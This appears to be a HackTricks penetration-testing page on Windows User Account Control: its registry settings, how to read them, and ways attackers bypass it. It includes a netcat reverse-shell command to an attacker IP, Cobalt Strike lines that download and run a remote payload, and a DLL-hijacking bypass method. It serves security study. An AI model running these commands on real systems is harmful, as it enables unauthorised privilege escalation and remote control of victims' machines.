UAC - User Account Control

PreviousWindows Security Controls NextNTLM

Last updated 7 months ago

UAC - User Account Control

Learn & practice AWS Hacking: Learn & practice GCP Hacking:

Support HackTricks

Check the !
Join the 💬 or the or follow us on Twitter 🐦 .
Share hacking tricks by submitting PRs to the and github repos.

UAC

For more info about integrity levels:

When UAC is in place, an administrator user is given 2 tokens: a standard user key, to perform regular actions as regular level, and one with the admin privileges.

Group Policy Setting

Registry Key

Default Setting

FilterAdministratorToken

Disabled

EnableUIADesktopToggle

Disabled

ConsentPromptBehaviorAdmin

Prompt for consent for non-Windows binaries

ConsentPromptBehaviorUser

Prompt for credentials on the secure desktop

EnableInstallerDetection

Enabled (default for home) Disabled (default for enterprise)

ValidateAdminCodeSignatures

Disabled

EnableSecureUIAPaths

Enabled

EnableLUA

Enabled

PromptOnSecureDesktop

Enabled

EnableVirtualization

Enabled

UAC Bypass Theory

Some programs are autoelevated automatically if the user belongs to the administrator group. These binaries have inside their Manifests the autoElevate option with value True. The binary has to be signed by Microsoft also.

Then, to bypass the UAC (elevate from medium integrity level to high) some attackers use this kind of binaries to execute arbitrary code because it will be executed from a High level integrity process.

You can check the Manifest of a binary using the tool sigcheck.exe from Sysinternals. And you can see the integrity level of the processes using Process Explorer or Process Monitor (of Sysinternals).

Check UAC

To confirm if UAC is enabled do:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    EnableLUA    REG_DWORD    0x1

If it's 1 then UAC is activated, if its 0 or it doesn't exist, then UAC is inactive.

Then, check which level is configured:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    ConsentPromptBehaviorAdmin    REG_DWORD    0x5

If 0 then, UAC won't prompt (like disabled)
If 1 the admin is asked for username and password to execute the binary with high rights (on Secure Desktop)
If 2 (Always notify me) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
If 3 like 1 but not necessary on Secure Desktop
If 4 like 2 but not necessary on Secure Desktop
if 5(default) it will ask the administrator to confirm to run non Windows binaries with high privileges

Then, you have to take a look at the value of LocalAccountTokenFilterPolicy If the value is 0, then, only the RID 500 user (built-in Administrator) is able to perform admin tasks without UAC, and if its 1, all accounts inside "Administrators" group can do them.

And, finally take a look at the value of the key FilterAdministratorToken If 0(default), the built-in Administrator account can do remote administration tasks and if 1 the built-in account Administrator cannot do remote administration tasks, unless LocalAccountTokenFilterPolicy is set to 1.

Summary

If EnableLUA=0 or doesn't exist, no UAC for anyone
If EnableLua=1 and LocalAccountTokenFilterPolicy=1 , No UAC for anyone
If EnableLua=1 and LocalAccountTokenFilterPolicy=0 and FilterAdministratorToken=0, No UAC for RID 500 (Built-in Administrator)
If EnableLua=1 and LocalAccountTokenFilterPolicy=0 and FilterAdministratorToken=1, UAC for everyone

All this information can be gathered using the metasploit module: post/windows/gather/win_privs

You can also check the groups of your user and get the integrity level:

net user %username%
whoami /groups | findstr Level

UAC bypass

Note that if you have graphical access to the victim, UAC bypass is straight forward as you can simply click on "Yes" when the UAC prompt appears

The UAC bypass is needed in the following situation: the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group.

It is important to mention that it is much harder to bypass the UAC if it is in the highest security level (Always) than if it is in any of the other levels (Default).

UAC disabled

If UAC is already disabled (ConsentPromptBehaviorAdmin is 0) you can execute a reverse shell with admin privileges (high integrity level) using something like:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC bypass with token duplication

Very Basic UAC "bypass" (full file system access)

If you have a shell with a user that is inside the Administrators group you can mount the C$ shared via SMB (file system) local in a new disk and you will have access to everything inside the file system (even Administrator home folder).

Looks like this trick isn't working anymore

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC bypass with cobalt strike

The Cobalt Strike techniques will only work if UAC is not set at it's max security level

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire and Metasploit also have several modules to bypass the UAC.

KRBUACBypass

UAC bypass exploits

UACME has the build version from which each technique started working. You can search for a technique affecting your versions:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

More UAC bypass

All the techniques used here to bypass AUC require a full interactive shell with the victim (a common nc.exe shell is not enough).

You can get using a meterpreter session. Migrate to a process that has the Session value equals to 1:

(explorer.exe should works)

UAC Bypass with GUI

If you have access to a GUI you can just accept the UAC prompt when you get it, you don't really need a bypass it. So, getting access to a GUI will allow you to bypass the UAC.

Noisy brute-force UAC bypass

Your own bypass - Basic UAC bypass methodology

Find a binary that will autoelevate (check that when it is executed it runs in a high integrity level).
With procmon find "NAME NOT FOUND" events that can be vulnerable to DLL Hijacking.
You probably will need to write the DLL inside some protected paths (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using:
1. wusa.exe: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
2. IFileOperation: Windows 10.
Prepare a script to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.

Another UAC bypass technique

Consists on watching if an autoElevated binary tries to read from the registry the name/path of a binary or command to be executed (this is more interesting if the binary searches this information inside the HKCU).

Support HackTricks

PreviousWindows Security Controls NextNTLM

Last updated 7 months ago